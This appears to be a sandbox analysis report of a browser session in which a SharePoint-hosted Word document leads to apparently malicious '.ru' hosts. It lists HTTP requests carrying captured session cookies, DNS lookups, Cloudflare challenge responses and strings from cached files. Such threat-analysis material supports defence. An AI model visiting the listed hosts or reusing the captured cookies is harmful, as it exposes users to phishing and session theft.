Source: global traffic	HTTP traffic detected: GET /uvCUdkHAVj9eBSz09pg0heMHUWydYnv1oq1qgU3fY8pqw1dr67ZnBcZ3RpszrMxfMadpMvHBXGomgCLWKAgh256 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQNAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InlodXZWaXJWakE0VzJLS1VoNkYxWnc9PSIsInZhbHVlIjoiMENJS21XTGNIc3pwNm9tUU9UTmhWQ1VRUVJXd3J6YjFqeEJuNUFtRkJFQ3Q3bHJHZGdTNjN0UmdiczBpd0lRdi9YSFRyOHZzMXEvdkFRQnFYZE1tVnVXVExGSnh3TWhKOGtUMms3YjlESjNVa29Ia2labCtqaVhkUVBTbVNRd2EiLCJtYWMiOiIxODU2YWRhZDY4MDNlMjYwZDMzNGRjOWQyNjg4MjIzOWRhYzgyNzZjOTc3M2EyMGI2MTg3OTZmNzhhZDc2MGJiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IisvelFrZC95anR0RloxV01NVFU2eVE9PSIsInZhbHVlIjoid2RtdDd4K3VZNkdjSng2dVc1RWFDM0luZGdHNzVXN2pGcXNmSFk3Uk5sZUVQdzYwKzJ5ZHp6bDUyeEVyc2tBb3l3TytncFByZDdsdmNTNEFLd2oxVFZNYnFveTlpVVQ1UzV0MTlTdm1zRnRIaUFQSmtYTTNkRWhiSXFsRjh1bDEiLCJtYWMiOiJhNGZiYmRhZjFkMzAyN2NjNzAwNGU1Yjg2NjBkMzg2OTE2Y2FiM2ZkMTUwN2U0MzA1Y2I3YjNjMTE2YjNjNDZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klhcEBn0FQQTX11dTIg19JdwxVLcgaa7uTOfF72dK878170 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InlodXZWaXJWakE0VzJLS1VoNkYxWnc9PSIsInZhbHVlIjoiMENJS21XTGNIc3pwNm9tUU9UTmhWQ1VRUVJXd3J6YjFqeEJuNUFtRkJFQ3Q3bHJHZGdTNjN0UmdiczBpd0lRdi9YSFRyOHZzMXEvdkFRQnFYZE1tVnVXVExGSnh3TWhKOGtUMms3YjlESjNVa29Ia2labCtqaVhkUVBTbVNRd2EiLCJtYWMiOiIxODU2YWRhZDY4MDNlMjYwZDMzNGRjOWQyNjg4MjIzOWRhYzgyNzZjOTc3M2EyMGI2MTg3OTZmNzhhZDc2MGJiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IisvelFrZC95anR0RloxV01NVFU2eVE9PSIsInZhbHVlIjoid2RtdDd4K3VZNkdjSng2dVc1RWFDM0luZGdHNzVXN2pGcXNmSFk3Uk5sZUVQdzYwKzJ5ZHp6bDUyeEVyc2tBb3l3TytncFByZDdsdmNTNEFLd2oxVFZNYnFveTlpVVQ1UzV0MTlTdm1zRnRIaUFQSmtYTTNkRWhiSXFsRjh1bDEiLCJtYWMiOiJhNGZiYmRhZjFkMzAyN2NjNzAwNGU1Yjg2NjBkMzg2OTE2Y2FiM2ZkMTUwN2U0MzA1Y2I3YjNjMTE2YjNjNDZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /efwbe6BdOMthO23yyTD1fbEIl7luvtuRLyfboI4LB0sCD3yEiG78150 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InlodXZWaXJWakE0VzJLS1VoNkYxWnc9PSIsInZhbHVlIjoiMENJS21XTGNIc3pwNm9tUU9UTmhWQ1VRUVJXd3J6YjFqeEJuNUFtRkJFQ3Q3bHJHZGdTNjN0UmdiczBpd0lRdi9YSFRyOHZzMXEvdkFRQnFYZE1tVnVXVExGSnh3TWhKOGtUMms3YjlESjNVa29Ia2labCtqaVhkUVBTbVNRd2EiLCJtYWMiOiIxODU2YWRhZDY4MDNlMjYwZDMzNGRjOWQyNjg4MjIzOWRhYzgyNzZjOTc3M2EyMGI2MTg3OTZmNzhhZDc2MGJiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IisvelFrZC95anR0RloxV01NVFU2eVE9PSIsInZhbHVlIjoid2RtdDd4K3VZNkdjSng2dVc1RWFDM0luZGdHNzVXN2pGcXNmSFk3Uk5sZUVQdzYwKzJ5ZHp6bDUyeEVyc2tBb3l3TytncFByZDdsdmNTNEFLd2oxVFZNYnFveTlpVVQ1UzV0MTlTdm1zRnRIaUFQSmtYTTNkRWhiSXFsRjh1bDEiLCJtYWMiOiJhNGZiYmRhZjFkMzAyN2NjNzAwNGU1Yjg2NjBkMzg2OTE2Y2FiM2ZkMTUwN2U0MzA1Y2I3YjNjMTE2YjNjNDZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rsXtw3W2TBidIqgwnqJpSiMshRQIVyjbPXJhKbOghqLwzP6SLnK9TEIjQef194 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InlodXZWaXJWakE0VzJLS1VoNkYxWnc9PSIsInZhbHVlIjoiMENJS21XTGNIc3pwNm9tUU9UTmhWQ1VRUVJXd3J6YjFqeEJuNUFtRkJFQ3Q3bHJHZGdTNjN0UmdiczBpd0lRdi9YSFRyOHZzMXEvdkFRQnFYZE1tVnVXVExGSnh3TWhKOGtUMms3YjlESjNVa29Ia2labCtqaVhkUVBTbVNRd2EiLCJtYWMiOiIxODU2YWRhZDY4MDNlMjYwZDMzNGRjOWQyNjg4MjIzOWRhYzgyNzZjOTc3M2EyMGI2MTg3OTZmNzhhZDc2MGJiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IisvelFrZC95anR0RloxV01NVFU2eVE9PSIsInZhbHVlIjoid2RtdDd4K3VZNkdjSng2dVc1RWFDM0luZGdHNzVXN2pGcXNmSFk3Uk5sZUVQdzYwKzJ5ZHp6bDUyeEVyc2tBb3l3TytncFByZDdsdmNTNEFLd2oxVFZNYnFveTlpVVQ1UzV0MTlTdm1zRnRIaUFQSmtYTTNkRWhiSXFsRjh1bDEiLCJtYWMiOiJhNGZiYmRhZjFkMzAyN2NjNzAwNGU1Yjg2NjBkMzg2OTE2Y2FiM2ZkMTUwN2U0MzA1Y2I3YjNjMTE2YjNjNDZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxx2M5Jdm9gg3qBffFoJIJopt5UabJPIc8FXwxuEsbkhsJTk2VJab180 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InlodXZWaXJWakE0VzJLS1VoNkYxWnc9PSIsInZhbHVlIjoiMENJS21XTGNIc3pwNm9tUU9UTmhWQ1VRUVJXd3J6YjFqeEJuNUFtRkJFQ3Q3bHJHZGdTNjN0UmdiczBpd0lRdi9YSFRyOHZzMXEvdkFRQnFYZE1tVnVXVExGSnh3TWhKOGtUMms3YjlESjNVa29Ia2labCtqaVhkUVBTbVNRd2EiLCJtYWMiOiIxODU2YWRhZDY4MDNlMjYwZDMzNGRjOWQyNjg4MjIzOWRhYzgyNzZjOTc3M2EyMGI2MTg3OTZmNzhhZDc2MGJiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IisvelFrZC95anR0RloxV01NVFU2eVE9PSIsInZhbHVlIjoid2RtdDd4K3VZNkdjSng2dVc1RWFDM0luZGdHNzVXN2pGcXNmSFk3Uk5sZUVQdzYwKzJ5ZHp6bDUyeEVyc2tBb3l3TytncFByZDdsdmNTNEFLd2oxVFZNYnFveTlpVVQ1UzV0MTlTdm1zRnRIaUFQSmtYTTNkRWhiSXFsRjh1bDEiLCJtYWMiOiJhNGZiYmRhZjFkMzAyN2NjNzAwNGU1Yjg2NjBkMzg2OTE2Y2FiM2ZkMTUwN2U0MzA1Y2I3YjNjMTE2YjNjNDZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrncsgxQJuzCBnMvZL6MMxSwNzidkImnSbIwntVC5quaRavqXpe67140 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InlodXZWaXJWakE0VzJLS1VoNkYxWnc9PSIsInZhbHVlIjoiMENJS21XTGNIc3pwNm9tUU9UTmhWQ1VRUVJXd3J6YjFqeEJuNUFtRkJFQ3Q3bHJHZGdTNjN0UmdiczBpd0lRdi9YSFRyOHZzMXEvdkFRQnFYZE1tVnVXVExGSnh3TWhKOGtUMms3YjlESjNVa29Ia2labCtqaVhkUVBTbVNRd2EiLCJtYWMiOiIxODU2YWRhZDY4MDNlMjYwZDMzNGRjOWQyNjg4MjIzOWRhYzgyNzZjOTc3M2EyMGI2MTg3OTZmNzhhZDc2MGJiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IisvelFrZC95anR0RloxV01NVFU2eVE9PSIsInZhbHVlIjoid2RtdDd4K3VZNkdjSng2dVc1RWFDM0luZGdHNzVXN2pGcXNmSFk3Uk5sZUVQdzYwKzJ5ZHp6bDUyeEVyc2tBb3l3TytncFByZDdsdmNTNEFLd2oxVFZNYnFveTlpVVQ1UzV0MTlTdm1zRnRIaUFQSmtYTTNkRWhiSXFsRjh1bDEiLCJtYWMiOiJhNGZiYmRhZjFkMzAyN2NjNzAwNGU1Yjg2NjBkMzg2OTE2Y2FiM2ZkMTUwN2U0MzA1Y2I3YjNjMTE2YjNjNDZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrScU3ZeGM5FxMsDy6rWLDvBXIAYzLw4WYBaaSA6N4WN6jy9btstp5K5ItKNwK9ybAjeOfS8wnCFef240 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InlodXZWaXJWakE0VzJLS1VoNkYxWnc9PSIsInZhbHVlIjoiMENJS21XTGNIc3pwNm9tUU9UTmhWQ1VRUVJXd3J6YjFqeEJuNUFtRkJFQ3Q3bHJHZGdTNjN0UmdiczBpd0lRdi9YSFRyOHZzMXEvdkFRQnFYZE1tVnVXVExGSnh3TWhKOGtUMms3YjlESjNVa29Ia2labCtqaVhkUVBTbVNRd2EiLCJtYWMiOiIxODU2YWRhZDY4MDNlMjYwZDMzNGRjOWQyNjg4MjIzOWRhYzgyNzZjOTc3M2EyMGI2MTg3OTZmNzhhZDc2MGJiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IisvelFrZC95anR0RloxV01NVFU2eVE9PSIsInZhbHVlIjoid2RtdDd4K3VZNkdjSng2dVc1RWFDM0luZGdHNzVXN2pGcXNmSFk3Uk5sZUVQdzYwKzJ5ZHp6bDUyeEVyc2tBb3l3TytncFByZDdsdmNTNEFLd2oxVFZNYnFveTlpVVQ1UzV0MTlTdm1zRnRIaUFQSmtYTTNkRWhiSXFsRjh1bDEiLCJtYWMiOiJhNGZiYmRhZjFkMzAyN2NjNzAwNGU1Yjg2NjBkMzg2OTE2Y2FiM2ZkMTUwN2U0MzA1Y2I3YjNjMTE2YjNjNDZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvCUdkHAVj9eBSz09pg0heMHUWydYnv1oq1qgU3fY8pqw1dr67ZnBcZ3RpszrMxfMadpMvHBXGomgCLWKAgh256 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InlodXZWaXJWakE0VzJLS1VoNkYxWnc9PSIsInZhbHVlIjoiMENJS21XTGNIc3pwNm9tUU9UTmhWQ1VRUVJXd3J6YjFqeEJuNUFtRkJFQ3Q3bHJHZGdTNjN0UmdiczBpd0lRdi9YSFRyOHZzMXEvdkFRQnFYZE1tVnVXVExGSnh3TWhKOGtUMms3YjlESjNVa29Ia2labCtqaVhkUVBTbVNRd2EiLCJtYWMiOiIxODU2YWRhZDY4MDNlMjYwZDMzNGRjOWQyNjg4MjIzOWRhYzgyNzZjOTc3M2EyMGI2MTg3OTZmNzhhZDc2MGJiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IisvelFrZC95anR0RloxV01NVFU2eVE9PSIsInZhbHVlIjoid2RtdDd4K3VZNkdjSng2dVc1RWFDM0luZGdHNzVXN2pGcXNmSFk3Uk5sZUVQdzYwKzJ5ZHp6bDUyeEVyc2tBb3l3TytncFByZDdsdmNTNEFLd2oxVFZNYnFveTlpVVQ1UzV0MTlTdm1zRnRIaUFQSmtYTTNkRWhiSXFsRjh1bDEiLCJtYWMiOiJhNGZiYmRhZjFkMzAyN2NjNzAwNGU1Yjg2NjBkMzg2OTE2Y2FiM2ZkMTUwN2U0MzA1Y2I3YjNjMTE2YjNjNDZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ij2qqMjEJ9AKbaJXrnCNuDneQHNDtEzo7NWfheA0KKkleaFErlGIXFvgGUurqE12209 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InlodXZWaXJWakE0VzJLS1VoNkYxWnc9PSIsInZhbHVlIjoiMENJS21XTGNIc3pwNm9tUU9UTmhWQ1VRUVJXd3J6YjFqeEJuNUFtRkJFQ3Q3bHJHZGdTNjN0UmdiczBpd0lRdi9YSFRyOHZzMXEvdkFRQnFYZE1tVnVXVExGSnh3TWhKOGtUMms3YjlESjNVa29Ia2labCtqaVhkUVBTbVNRd2EiLCJtYWMiOiIxODU2YWRhZDY4MDNlMjYwZDMzNGRjOWQyNjg4MjIzOWRhYzgyNzZjOTc3M2EyMGI2MTg3OTZmNzhhZDc2MGJiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IisvelFrZC95anR0RloxV01NVFU2eVE9PSIsInZhbHVlIjoid2RtdDd4K3VZNkdjSng2dVc1RWFDM0luZGdHNzVXN2pGcXNmSFk3Uk5sZUVQdzYwKzJ5ZHp6bDUyeEVyc2tBb3l3TytncFByZDdsdmNTNEFLd2oxVFZNYnFveTlpVVQ1UzV0MTlTdm1zRnRIaUFQSmtYTTNkRWhiSXFsRjh1bDEiLCJtYWMiOiJhNGZiYmRhZjFkMzAyN2NjNzAwNGU1Yjg2NjBkMzg2OTE2Y2FiM2ZkMTUwN2U0MzA1Y2I3YjNjMTE2YjNjNDZjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /:w:/g/personal/sharon_bharaj_mlss_org_uk/EWiGFFYhPhtPjz5jsZdcRooBPGLh-q5SsgwgIhmP7JCmAg HTTP/1.1Host: midlandlangarsevasociety-my.sharepoint.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: midlandlangarsevasociety-my.sharepoint.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: common.online.office.com
Source: global traffic	DNS traffic detected: DNS query: wordonline.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: storage.live.com
Source: global traffic	DNS traffic detected: DNS query: messaging.engagement.office.com
Source: global traffic	DNS traffic detected: DNS query: mllss.ablecenp.ru
Source: global traffic	DNS traffic detected: DNS query: w5fv.25bvnw8.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: m365cdn.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: cdn.socket.io
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com

Source: unknown

HTTP traffic detected: POST /wv/RemoteTelemetry.ashx?usid=7d777aeb-6724-5443-6f2d-afb3c7edf346 HTTP/1.1Host: ukc-word-view.officeapps.live.comConnection: keep-aliveContent-Length: 109sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: text/plain;charset=UTF-8Accept: */*Origin: https://midlandlangarsevasociety-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://midlandlangarsevasociety-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 05 Jun 2024 14:17:04 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rnqDFsXriuEYVHKAtrXUecoGv0aM9XvGkGoO2%2BFSYirmcBnXHLkpMhd0bhfBUmADhcaS9Aa2cNb2b323otjGf3iKKz9RadNpjKo9o7FvL6pRZOXJoKp9ENv29vq%2BaA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400CF-Cache-Status: MISSServer: cloudflareCF-RAY: 88f0c8b80f976c3f-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 05 Jun 2024 14:17:14 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: ihRgSaeqPgpbnuSgQ6jTlg==$xUUyRJk5OTERciNz0etyZw==cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 88f0c8f6beae3462-DFWalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 05 Jun 2024 14:17:17 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: 9+VgMdDCmtE8iJDdkJypsA==$WgLD/cWfo9r/bo/gn6picA==Server: cloudflareCF-RAY: 88f0c90d3f0ce98f-DFWalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 05 Jun 2024 14:17:33 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: NJpNbgWMlftU4DqYQSXLOg==$J8Ttg6Nhyk3URQAg+YR7WQ==Server: cloudflareCF-RAY: 88f0c9718df42fe4-DFWalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 05 Jun 2024 14:17:35 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j6k2oz51J%2BP0av9kZht9VFMJwdCuj8%2B11Dcmziu7c8gltXemHRm2sljK69AqvRQuNlIqZ%2B%2B2IcwyQTgydNtkJ%2BNPMIuS8dUEtSiuBwBnGBmkYeEf8WCzDb33PLxc5Q%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400Server: cloudflareCF-RAY: 88f0c97bee2de8ed-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 05 Jun 2024 14:17:42 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dKALwm9r33PsFtrse0ZnNR6k1sextz5JJhTYCz%2FlDBqBB%2BXSFpA7QyvOcHP3iRRGO8mF3bIjzVEH6DKb1y2KJ%2B6g7xMKC3Wzm6gwdMlmqQt9yRoGH1uYKc4%2FvQpBCg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400Server: cloudflareCF-RAY: 88f0c9a34d0e2cc0-DFW

Source: chromecache_361.2.dr	String found in binary or memory: http://fb.me/use-check-prop-types
Source: chromecache_344.2.dr	String found in binary or memory: http://github.com/fent/randexp.js/raw/master/LICENSE
Source: chromecache_361.2.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: chromecache_398.2.dr	String found in binary or memory: https://cloud.google.com/contact
Source: chromecache_398.2.dr	String found in binary or memory: https://cloud.google.com/recaptcha-enterprise/billing-information
Source: chromecache_398.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca
Source: chromecache_398.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#localhost_support
Source: chromecache_398.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que
Source: chromecache_349.2.dr, chromecache_370.2.dr	String found in binary or memory: https://euc-word-telemetry.officeapps.live.com/wt/RemoteUls.ashx
Source: chromecache_397.2.dr	String found in binary or memory: https://feross.org
Source: chromecache_344.2.dr	String found in binary or memory: https://github.com/fent)
Source: chromecache_390.2.dr	String found in binary or memory: https://localcdn.centro-dev.com:5555/floodgate.bundle.js.map
Source: App1717597024182521900_23762D46-DCEF-48FB-AA6C-531047C6A69A.log.6.dr	String found in binary or memory: https://login.windows.net
Source: chromecache_362.2.dr	String found in binary or memory: https://mllss.ablecenp.ru/9adosd/
Source: chromecache_398.2.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_398.2.dr	String found in binary or memory: https://recaptcha.net
Source: chromecache_331.2.dr	String found in binary or memory: https://res.cdn.office.net/admincenter/admin-main/2024.5.30.1/
Source: chromecache_331.2.dr	String found in binary or memory: https://res.cdn.office.net/admincenter/admin-main/2024.5.30.1/floodgate.en.bundle.js
Source: chromecache_398.2.dr	String found in binary or memory: https://support.google.com/recaptcha
Source: chromecache_398.2.dr	String found in binary or memory: https://support.google.com/recaptcha#6262736
Source: chromecache_398.2.dr	String found in binary or memory: https://support.google.com/recaptcha/#6175971
Source: chromecache_398.2.dr	String found in binary or memory: https://support.google.com/recaptcha/?hl=en#6223828
Source: chromecache_398.2.dr	String found in binary or memory: https://www.apache.org/licenses/
Source: chromecache_369.2.dr, chromecache_398.2.dr	String found in binary or memory: https://www.google.com/recaptcha/api2/
Source: chromecache_398.2.dr	String found in binary or memory: https://www.gstatic.c..?/recaptcha/releases/DH3nyJMamEclyfe-nztbfV8S/recaptcha__.
Source: chromecache_369.2.dr	String found in binary or memory: https://www.gstatic.com/recaptcha/releases/DH3nyJMamEclyfe-nztbfV8S/recaptcha__en.js

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
